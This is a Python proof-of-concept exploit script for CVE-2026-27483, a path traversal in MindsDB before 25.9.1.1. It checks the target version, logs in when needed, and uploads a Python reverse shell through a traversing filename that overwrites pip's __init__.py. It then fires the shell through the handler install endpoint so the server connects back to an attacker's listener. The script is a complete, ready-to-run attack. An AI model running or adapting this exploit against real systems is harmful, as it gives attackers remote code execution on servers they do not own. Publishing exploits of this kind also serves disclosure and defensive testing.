# Exploit Title: MindsDB 25.9.1.1 - Path Traversal
# Date: 06-03-2026
# Exploit Author: Lohitya Pushkar (thewhiteh4t)
# Vendor Homepage: https://mindsdb.com/
# Software Link: https://github.com/mindsdb/mindsdb
# Version: < 25.9.1.1
# Tested on: Arch Linux
# CVE : CVE-2026-27483
# Original Advisory: https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq
# Vulnerability Discovery: XlabAITeam
import argparse
import random
import re
import string
import sys
import requests
from packaging.version import Version
PIP_PATH = "../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
HANDLER = "anomaly_detection" # query /api/handlers/ -> not installed handlers
BANNER = """
-------------------------------------
--- CVE-2026-27483 ------------------
--- MindsDB Path Traversal to RCE ---
-------------------------------------
[>] Found By : XlabAITeam
[>] PoC By : Lohitya Pushkar (thewhiteh4t)
"""
try:
parser = argparse.ArgumentParser()
parser.add_argument("-rh", default="127.0.0.1", help="Target host")
parser.add_argument("-rp", default="47334", help="Target port")
parser.add_argument("-lh", help="Listener host")
parser.add_argument("-lp", default="4444", help="Listener port")
parser.add_argument("-u", help="Username")
parser.add_argument("-p", help="Password")
args = parser.parse_args()
rhost = args.rh
rport = args.rp
lhost = args.lh
lport = args.lp
user = args.u
pswd = args.p
base_url = f"http://{rhost}:{rport}"
print(BANNER)
print(f"[>] Target : {base_url}")
print(f"[>] LHOST : {lhost}")
print(f"[>] LPORT : {lport}\n")
def login(username, password):
r = requests.post(
f"{base_url}/api/login", json={"username": username, "password": password}
)
if r.status_code == 200 and "token" in r.text:
token = r.json().get("token")
print("[+] Login successful!")
return token
print("[!] Login failed : ", r.status_code)
print(f"---\n{r.text}\n---")
return None
print("[*] Checking status...\n")
r = requests.get(f"{base_url}/api/status")
if r.status_code != 200:
print("[-] Status code :", r.status_code)
print(f"---\n{r.text}\n---")
sys.exit()
status_json = r.json()
ver = status_json["mindsdb_version"]
auth = status_json["auth"]["http_auth_enabled"]
print(f"[*] MindsDB Version : {ver}")
auth_headers = {}
ver_clean = Version(re.sub(r"[a-zA-Z].*$", "", ver))
if ver_clean < Version("25.4.1.0"):
print(
f"[!] Version {ver} < 25.4.1.0 — may use Python 3.8/3.9, PoC targets 3.10, manually edit PIP_PATH and try again."
)
sys.exit(0)
if ver_clean >= Version("25.9.1.1"):
print(f"[!] Version {ver} is patched (>= 25.9.1.1). Aborting.")
sys.exit(0)
if auth:
if not user or not pswd:
print("[!] Auth is enabled. Provide --username and --password.")
sys.exit()
token = login(user, pswd)
if not token:
sys.exit()
auth_headers = {"Authorization": f"Bearer {token}"}
else:
print("[*] Auth disabled — proceeding unauthenticated")
shell_pl = f'''#!/usr/bin/env python3
import os,pty,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("{lhost.strip()}",{lport.strip()}))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
'''.replace("\n", "\r\n")
fname = "".join(random.choices(string.ascii_lowercase, k=8))
payload = {"name": fname, "source": fname, "source_type": "file"}
infile = {"file": (PIP_PATH, shell_pl, "text/plain")}
print("[*] Uploading payload :", fname)
pr = requests.put(
f"{base_url}/api/files/{fname}",
data=payload,
files=infile,
headers=auth_headers,
)
if pr.status_code == 400:
print("[+] Payload uploaded!")
else:
print("[-] Payload upload request :", pr.status_code)
print(f"---\n{pr.text}\n---")
sys.exit()
print("[*] Triggering payload...")
r = requests.post(
f"{base_url}/api/handlers/{HANDLER}/install", json={}, headers=auth_headers
)
except Exception as exc:
print("[-] Exception :", exc)
except KeyboardInterrupt:
sys.exit()